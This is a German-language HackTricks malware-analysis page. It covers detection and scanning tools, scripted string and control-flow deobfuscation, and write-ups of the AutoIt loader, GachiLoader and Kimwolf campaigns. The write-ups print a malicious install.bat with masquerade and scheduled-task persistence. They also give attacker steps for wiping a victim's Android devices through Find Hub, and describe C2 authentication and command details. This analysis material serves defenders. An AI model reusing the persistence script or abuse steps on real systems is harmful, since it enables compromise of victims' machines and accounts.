Malware-Analyse

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Forensik-CheatSheets

https://www.jaiminton.com/cheatsheet/DFIR/#

Online-Dienste

Offline-Antivirus und Erkennungs-Tools

Yara

Installation

sudo apt-get install -y yara

Regeln vorbereiten

Verwende dieses Skript, um alle yara malware rules von github herunterzuladen und zusammenzuführen: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Lege das rules Verzeichnis an und führe das Skript aus. Dadurch wird eine Datei namens malware_rules.yar erstellt, die alle yara rules enthält.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scannen

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: malware prüfen und rules erstellen

Du kannst das Tool YaraGen verwenden, um yara rules aus einem binary zu generieren. Sieh dir diese Tutorials an: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Installation

sudo apt-get install -y clamav

Scan

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa erkennt potenziell bösartige capabilities in ausführbaren Dateien: PE, ELF, .NET. Damit findet es z. B. Att&ck-Taktiken oder verdächtige Fähigkeiten wie:

  • check for OutputDebugString error
  • run as a service
  • create process

Hol es dir im Github repo.

IOCs

IOC bedeutet Indicator Of Compromise. Ein IOC ist eine Menge von Bedingungen, die bestimmte potenziell unerwünschte Software oder bestätigte malware identifizieren. Blue Teams verwenden diese Art von Definition, um nach solchen bösartigen Dateien in ihren systems und networks zu suchen.
Das Teilen dieser Definitionen ist sehr nützlich, denn wenn Malware auf einem Rechner identifiziert wird und ein IOC für diese Malware erstellt wird, können andere Blue Teams es verwenden, um die Malware schneller zu erkennen.

Ein Tool, um IOCs zu erstellen oder zu bearbeiten, ist IOC Editor.
Sie können Tools wie Redline verwenden, um nach definierten IOCs auf einem Gerät zu suchen.

Loki

Loki ist ein Scanner für Simple Indicators of Compromise.
Die Erkennung basiert auf vier Erkennungsarten:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) ist ein Malware-Scanner für Linux, veröffentlicht unter der GNU GPLv2-Lizenz, der auf die Bedrohungen in gemeinsam genutzten Hosting-Umgebungen ausgelegt ist. Er nutzt Bedrohungsdaten von Intrusion-Detection-Systemen am Netzwerkrand, um Malware zu extrahieren, die aktiv in Angriffen verwendet wird, und erstellt Signaturen zur Erkennung. Zusätzlich werden Bedrohungsdaten auch aus Nutzereinsendungen über das LMD checkout feature und aus malware-Community-Ressourcen gewonnen.

rkhunter

Tools wie rkhunter können verwendet werden, um das Dateisystem auf mögliche rootkits und malware zu prüfen.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS ist ein Tool, das versucht, obfuscated strings in executables zu finden, indem verschiedene Techniken verwendet werden.

PEpper

PEpper prüft einige grundlegende Dinge innerhalb der executable (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio ist ein Tool, das Informationen zu Windows executables wie imports, exports, headers liefert, prüft aber auch virus total und findet potenzielle Att&ck-Techniken.

Detect It Easy(DiE)

DiE ist ein Tool, um zu erkennen, ob eine Datei encrypted ist, und um packers zu finden.

NeoPI

NeoPI ist ein Python-Skript, das eine Vielzahl von statistical methods verwendet, um obfuscated und encrypted Inhalte in Text-/Script-Dateien zu erkennen. Der Zweck von NeoPI ist die Unterstützung bei der detection of hidden web shell code.

php-malware-finder

PHP-malware-finder versucht bestmöglich, obfuscated/dodgy code zu erkennen sowie Dateien, die PHP-Funktionen verwenden, die häufig in malwares/webshells genutzt werden.

Apple Binary Signatures

Beim Überprüfen einer malware sample sollte man immer die check the signature der Binary prüfen, da der developer, der sie signiert hat, möglicherweise bereits mit malware in Verbindung steht.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Erkennungstechniken

File Stacking

Wenn du weißt, dass ein Ordner, der die Dateien eines Webservers enthält, vor einem bestimmten Datum zuletzt aktualisiert wurde, prüfe das Datum, an dem alle Dateien im Webserver erstellt und geändert wurden, und wenn ein Datum verdächtig ist, untersuche diese Datei.

Baselines

Wenn die Dateien eines Ordners nicht hätten verändert werden dürfen, kannst du den Hash der Originaldateien des Ordners berechnen und mit den aktuellen vergleichen. Alles, was verändert wurde, ist verdächtig.

Statistische Analyse

Wenn die Informationen in Logs gespeichert sind, kannst du Statistiken prüfen, z. B. wie oft jede Datei eines Webservers aufgerufen wurde, da eine web shell möglicherweise zu den am häufigsten aufgerufenen gehört.


Android in-app native telemetry (no root)

Auf Android kannst du nativen Code innerhalb des Ziel-App-Prozesses instrumentieren, indem du vor der Initialisierung anderer JNI-Libs eine kleine Logger-Library preloadest. Das verschafft frühzeitige Einblicke in natives Verhalten, ohne systemweite Hooks oder Root. Ein gängiger Ansatz ist SoTap: die libsotap.so für die passende ABI in das APK legen und früh (z. B. in einem static initializer oder in Application.onCreate) einen System.loadLibrary(“sotap”)-Aufruf injizieren, dann Logs aus internen/externen Pfaden sammeln oder als Fallback Logcat verwenden.

Siehe die Android native reversing-Seite für Setup-Details und Log-Pfade:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Einige Android-Malware und RASP-geschützte Apps verbergen JNI-Methodennamen und Signaturen, indem sie sie zur Laufzeit decodieren, bevor RegisterNatives aufgerufen wird. Wenn Frida/ptrace-Instrumentierung durch Anti-Debug getötet wird, kannst du den Klartext offline wiederherstellen, indem du den In-Binary-Decoder mit angr ausführst und die Ergebnisse dann als Kommentare in Ghidra zurückschreibst.

Kernidee: Behandle den Decoder innerhalb der .so als aufrufbare Funktion, führe ihn auf den obfuscierten Byte-Bloben in .rodata aus und konkretisiere die Ausgabebytes bis zum ersten \x00 (C-String-Terminator). Verwende für angr und Ghidra dieselbe image base, um Adress-Mismatches zu vermeiden.

Workflow-Übersicht

  • Triage in Ghidra: Decoder und seine Calling-Convention/Argumente in JNI_OnLoad und der RegisterNatives-Setup identifizieren.
  • Run angr (CPython3), um den Decoder für jede Zielzeichenkette auszuführen und Ergebnisse zu dumpen.
  • Annotate in Ghidra: Dekodierte Strings an jedem Call-Site automatisch kommentieren, um JNI schnell zu rekonstruieren.

Ghidra triage (JNI_OnLoad pattern)

  • Apply JNI datatypes to JNI_OnLoad so Ghidra recognises JNINativeMethod structures.
  • Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Look for calls to RegisterNatives. If the library constructs the name/signature with a local routine (e.g., FUN_00100e10) that references a static byte table (e.g., DAT_00100bf4) and takes parameters like (encoded_ptr, out_buf, length), that is an ideal target for offline execution.

angr setup (execute the decoder offline)

  • Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
angr-Setup und offline Decoder-Ausführung ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

- Im großen Maßstab erstelle eine statische Zuordnung von call sites zu den Argumenten des decoder (encoded_ptr, size). Wrappers können Argumente verbergen, daher kannst du diese Zuordnung manuell aus Ghidra xrefs erstellen, wenn die API-Rekonstruktion unzuverlässig ist.

<details>
<summary>Mehrere call sites stapelweise mit angr decodieren</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Call-Sites in Ghidra annotieren Option A: Nur Jython-Kommentarschreiber (verwende ein vorab erzeugtes JSON)

  • Da angr CPython3 benötigt, halte Deobfuscation und Annotation getrennt. Führe zuerst das obenstehende angr-Skript aus, um decoded_strings.json zu erzeugen. Führe dann dieses Jython GhidraScript aus, um PRE_COMMENTs an jedem call site zu schreiben (und füge den Namen der aufrufenden Funktion zur Kontextangabe hinzu):
Ghidra Jython-Skript zum Annotieren decodierter JNI-Strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Einzelnes CPython-Skript via pyhidra/ghidra_bridge
- Alternativ kann man pyhidra oder ghidra_bridge verwenden, um Ghidra’s API aus demselben CPython-Prozess anzusteuern, der angr ausführt. Dadurch ist es möglich, decode_string() aufzurufen und sofort PRE_COMMENTs zu setzen, ohne eine Zwischen-Datei. Die Logik spiegelt das Jython-Skript wider: Erstelle eine callsite→function-Map über ReferenceManager, dekodiere mit angr und setze Kommentare.

Warum das funktioniert und wann man es verwenden sollte
- Offline-Ausführung umgeht RASP/anti-debug: kein ptrace, keine Frida-Hooks erforderlich, um Strings zu rekonstruieren.
- Wenn Ghidra und angr das gleiche base_addr haben (z. B. 0x00100000), stimmen Funktions-/Datenadressen zwischen den Tools überein.
- Wiederholbares Rezept für Decoder: Behandle die Transformation als reine Funktion, allokiere einen Ausgabe-Puffer in einem frischen state, rufe sie auf mit (encoded_ptr, out_ptr, len), dann konkretisiere via state.solver.eval und parse C-strings bis \x00.

Hinweise und Fallstricke
- Beachte die Ziel-ABI/calling convention. angr.factory.callable wählt eine basierend auf der arch; wenn Argumente verschoben erscheinen, gib cc explizit an.
- Wenn der Decoder null-initialisierte Ausgabepuffer erwartet, initialisiere outbuf im state mit Nullen vor dem Aufruf.
- Bei position-unabhängigen Android .so immer base_addr angeben, damit Adressen in angr mit denen in Ghidra übereinstimmen.
- Verwende currentProgram.getReferenceManager(), um call-xrefs zu enumerieren, selbst wenn die App den Decoder hinter dünnen Stubs versteckt.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Moderne Malware-Familien missbrauchen häufig Control-Flow-Graph (CFG)-Obfuskation: statt eines direkten jump/call berechnen sie das Ziel zur Laufzeit und führen einen `jmp rax` oder `call rax` aus. Ein kleiner *dispatcher* (typischerweise neun Instruktionen) setzt das endgültige Ziel abhängig von den CPU-Flags `ZF`/`CF` und bricht damit die statische CFG-Wiederherstellung vollständig.

Die Technik – gezeigt am SLOW#TEMPEST loader – lässt sich mit einem dreistufigen Workflow besiegen, der nur auf IDAPython und dem Unicorn CPU emulator beruht.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Dispatcher-Bytecode extrahieren

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emuliere es zweimal mit Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Führe run(code,0,0) und run(code,1,1) aus, um die false- und true-Branch-Ziele zu erhalten.

4. Patch back a direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Nach dem Patchen IDA dazu zwingen, die Funktion erneut zu analysieren, damit das vollständige CFG und die Hex-Rays-Ausgabe wiederhergestellt werden:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Indirekte API-Aufrufe beschriften

Sobald das tatsächliche Ziel jedes call rax bekannt ist, kannst du IDA mitteilen, was es ist, damit Parameter-Typen & Variablennamen automatisch wiederhergestellt werden:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Praktische Vorteile

  • Stellt das reale CFG wieder her → decompilation geht von 10 Zeilen auf tausende.
  • Ermöglicht string-cross-reference & xrefs, wodurch die Wiederherstellung des Verhaltens trivial wird.
  • Skripte sind wiederverwendbar: in jeden loader einfügbar, der durch denselben trick geschützt ist.

AutoIt-basierte loader: .a3x decryption, Task Scheduler masquerade and RAT injection

Dieses Muster verbindet ein signiertes MSI, AutoIt loader, die zu .a3x kompiliert wurden, und einen Task Scheduler job, der sich als harmlose App tarnt.

MSI → custom actions → AutoIt orchestrator

Prozesstree und von den MSI custom actions ausgeführte Befehle:

  • MsiExec.exe → cmd.exe um install.bat auszuführen
  • WScript.exe um einen vorgetäuschten Fehlerdialog anzuzeigen
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (legt loader ab, setzt persistence, bereinigt sich selbst):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (Benutzerköder):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
  • Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer)
  • Creates a scheduled task “IoKlTr” that runs every 1 minute
  • Startup LNK seen as Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Stages modules under %APPDATA%\Google\Browser\ subfolders containing adb or adv and starts them via autoit.vbs/install.bat helpers

Forensic triage tips:

  • schtasks enumeration: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Look for renamed copies of schtasks.exe co-located with Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Common paths: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt modules are compiled with #AutoIt3Wrapper_Outfile_type=a3x and decrypt embedded payloads before injecting into benign processes.
  • Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (Remcos\RunBinary.a3x).
  • Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Üblicher Injektionsablauf (CreateRemoteThread-style):

  • CreateProcess (suspended) des Zielprozesses (z. B. cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory mit dem entschlüsselten Modul/Shellcode
  • CreateRemoteThread oder QueueUserAPC zur Ausführung des payloads

Hinweise für die Erkennung

  • AutoIt3.exe als Kindprozess von MsiExec.exe oder WScript.exe, der Systemtools startet
  • Dateien mit .a3x-Endung oder AutoIt-Skript-Runner unter öffentlich/benutzerschreibbaren Pfaden
  • Verdächtige geplante Aufgaben, die AutoIt3.exe ausführen oder Binärdateien, die nicht von Microsoft signiert sind, mit Triggern im Minutenbereich

Missbrauch durch Account-Übernahme von Android Find My Device (Find Hub)

Während der Windows-Infektion verwendeten die Operatoren gestohlene Google-Anmeldedaten, um wiederholt die Android-Geräte des Opfers zu löschen und Benachrichtigungen zu unterdrücken, während sie über den beim Opfer angemeldeten Desktop-Messenger den Zugriff ausweiteten.

Schritte der Operatoren (aus einer angemeldeten Browser-Sitzung):

  • Google Account → Security → Your devices aufrufen; Find My Phone → Find Hub öffnen (https://www.google.com/android/find)
  • Gerät auswählen → Google-Passwort erneut eingeben → “Erase device” (factory reset) ausführen; Vorgang wiederholen, um die Wiederherstellung zu verzögern
  • Optional: Alarm‑E-Mails im verknüpften Postfach (z. B. Naver) löschen, um Sicherheitsbenachrichtigungen zu verbergen

Tracing heavily obfuscated Node.js loaders

Angreifer bündeln zunehmend JavaScript-Loader in eigenständigen Windows-Binärdateien, die mit nexe kompiliert wurden, sodass die Runtime zusammen mit dem Script ausgeliefert wird. Die resultierende PE ist häufig 60–90 MB groß und läuft auch, wenn Node.js nicht installiert ist. Während der Triage:

  • Verwenden Sie nexe_unpacker, um das eingebettete JavaScript aus der PE herauszuschneiden und den lokalen Tools für statisches Diffing zuzuführen.
  • Erwarten Sie einen auf der Festplatte basierenden Mutex in %TEMP% (GachiLoader legt eine zufällige <name>.lock-Datei ab, die nach ca. 5 Minuten verfällt). Das Kopieren der Datei in die Sandbox vor der Ausführung ermöglicht es, redundante Stufen zu überspringen und trotzdem spätere Payloads zu sehen.

Node.js-API-Tracing zur Umgehung von Anti-Analyse

Der Nodejs-Tracer von Check Point hookt Kernmodule in jedem Node.js-Prozess, erlaubt das Spoofen von Anti-VM-Probes und bewahrt jedes Artefakt, das das Sample schreibt. Starten Sie obfuskierte Skripte über den Tracer, um vom Analysten gesteuerte Instrumentierung im Call-Stack zu behalten:

node -r .\tracer.js main.js

Wichtige Konfigurationsschalter in tracer.js ermöglichen Ihnen:

  • Dateisystem-, Child-Process- und HTTP-Aktivität zu protokollieren (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Jede abgelegte Datei — wie kidkadi.node — wird ins Arbeitsverzeichnis kopiert, bevor die Malware sie löscht.
  • Environment-Fingerprints zu überschreiben, indem realistische RAM-/CPU-Angaben zurückgegeben, tasklist-Ausgaben gefälscht und PowerShell-/WMI-Antworten manipuliert werden. Das umgeht Loader, die ≥4 GB RAM, ≥2 Kerne verlangen und Benutzernamen (mashinesssss, wdagutilityaccount, etc.), Hostnamen (desktop-vrsqlag, server1 …) und Prozessnamen (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe) prüfen.
  • WMI-Hardwarechecks wie Get-WmiObject Win32_DiskDrive (Suche nach vmware, kvm, virtio, …), Win32_VideoController (Blockieren von “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) und Win32_PortConnector-Zählungen zu neutralisieren. Wenn diese Abfragen “echte” Hardware melden, landen Sandboxes nicht mehr in der Endlosschleife mit harmlosen Invoke-WebRequest-Aufrufen zu linkedin.com, grok.com, whatsapp.com und ähnlichen Domains, die GachiLoader zur Zeitverschwendung bei der Analyse nutzt.

Capturing gated C2 traffic automatically

Die Netzwerk-Hooks des Tracers legen mehrschichtige C2-Authentifizierung offen, ohne die JavaScript-Obfuskation rückzuentwickeln. In der beobachteten Kampagne macht der Loader:

  1. POSTs Host-Telemetrie an /log auf jedem hard-coded C2.
  2. Ruft GET /richfamily/<per-sample key> mit X-Secret: gachifamily auf, um eine Base64-encodierte Payload-URL zu erhalten.
  3. Führt einen finalen GET zu dieser URL mit einem langen per-sample X-Secret-Header aus; fehlt dieser, wird 403 Forbidden zurückgegeben.

Weil der Tracer komplette Requests (Header, Bodies, Ziele) aufzeichnet, können Sie denselben Traffic replayen, um Payloads zu ziehen, Themida/VMProtect-Shells im Speicher zu dumpen und Rhadamanthys-Konfigurationsdaten in großem Maßstab zu extrahieren.

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs wie com.n2.systemservice06* enthalten ein statisch gelinktes ARM-ELF in res/raw (z. B. R.raw.libniggakernel). Ein BOOT_COMPLETED-Receiver läuft beim Start, extrahiert die Raw-Resource in die App-Sandbox (z. B. /data/data/<pkg>/niggakernel), macht sie ausführbar und startet sie mit su.
  • Viele Android-TV-Boxen/Tablets liefern vorgerootete Images oder ein weltbeschreibbares su, sodass der Loader das ELF zuverlässig mit UID 0 bootet, selbst ohne Exploit-Chain. Persistenz kommt „kostenlos“, weil der Receiver nach jedem Reboot oder App-Neustart neu startet.
  • Reverse-Engineers, die nach diesem Muster suchen, können AndroidManifest.xml diffen, um versteckte Boot-Receiver sowie Code zu finden, der Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su") referenziert. Nachdem das ELF abgelegt wurde, sollte es als Linux-Userland-Backdoor triagiert werden (Kimwolf ist UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Beim Start bindet Kimwolf einen abstract UNIX domain socket wie @niggaboxv4/@niggaboxv5. Existierende Sockets erzwingen einen Exit, sodass der Socket-Name sowohl als Mutex als auch als forensisches Artefakt dient.
  • Der Process Title wird mit service-ähnlichen Namen (netd_services, tv_helper, etc.) überschrieben, um in Android-Process-Listings unterzutauchen. Host-basierte Erkennungen können bei diesen Namen in Kombination mit dem Mutex-Socket Alarm schlagen.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive Strings (C2-Domains, Resolver, DoT-Endpunkte) werden in verschlüsselten 8-Byte-Blöcken auf den Stack gelegt und in-place via VEOR Qx, Qx, Qy (veorq_s64) dekodiert. Analysten können flare_emu skripten, um den dekodierten Pointer jedes Mal abzufangen, wenn der Dekryptor ihn an den Caller übergibt:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Suche nach VEOR Q8, Q8, Q9 / veorq_s64-Sequenzen: Das Emulieren ihrer Bereiche mass-dumpt jede entschlüsselte Zeichenkette und umgeht die stack-only-Lebensdauer des Klartexts.

DNS-over-TLS-Auflösung plus XOR-IP-Ableitung

  • Alle Kimwolf-Varianten lösen C2-Domains, indem sie direkt mit Google (8.8.8.8) oder Cloudflare (1.1.1.1) über DNS-over-TLS (TCP/853) kommunizieren, wodurch einfache DNS-Logs oder Hijacking ausgehebelt werden.
  • v4-Bots verwenden einfach den zurückgegebenen IPv4 A-Record. v5-Bots behandeln den A-Record als 32-Bit-Integer, tauschen seine Endianness, XOR-en ihn mit der Konstante 0x00ce0491 und kehren die Endianness zurück, um die echte C2-IP zu erhalten. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding-Fallback

  • Spätere Builds fügen eine ENS-Domain (pawsatyou.eth) hinzu, deren Resolver-Textschlüssel "lol" eine harmlos aussehende IPv6 (fed0:5dec:...:1be7:8599) speichert.
  • Der Bot nimmt die letzten vier Bytes (1b e7 85 99), XORt sie mit 0x93141715 und interpretiert das Ergebnis als IPv4-C2 (136.243.146.140). Das Aktualisieren des ENS-Textrecords rotiert sofort die downstream C2s über die blockchain, ohne DNS zu berühren.

TLS + ECDSA-authentifizierter Befehlskanal

  • Der Traffic wird in wolfSSL gekapselt und verwendet ein benutzerdefiniertes framed protocol:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: Der Bot sendet zwei leere MsgType=0 (register) Header. Der C2 antwortet mit MsgType=1 (verify), das eine zufällige Challenge sowie eine ASN.1 DER ECDSA-Signatur enthält. Bots verifizieren diese gegen ein eingebettetes SubjectPublicKeyInfo-Blob; ein Fehlschlag beendet die Sitzung und verhindert, dass hijacked/sinkholed C2 nodes die Flotte tasken.
  • Sobald verifiziert, sendet der Bot einen MsgType=0 Body, der die vom Operator definierte group string trägt (z. B. android-postboot-rt). Wenn die Gruppe aktiviert ist, antwortet der C2 mit MsgType=2 (confirm), wonach die Tasking (MsgType 5–12) beginnt.
  • Unterstützte Befehle umfassen SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, sowie Mirai-compatible DDoSBody Payloads (gleiches AtkType, Duration, Targets[], Flags[]-Layout).

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks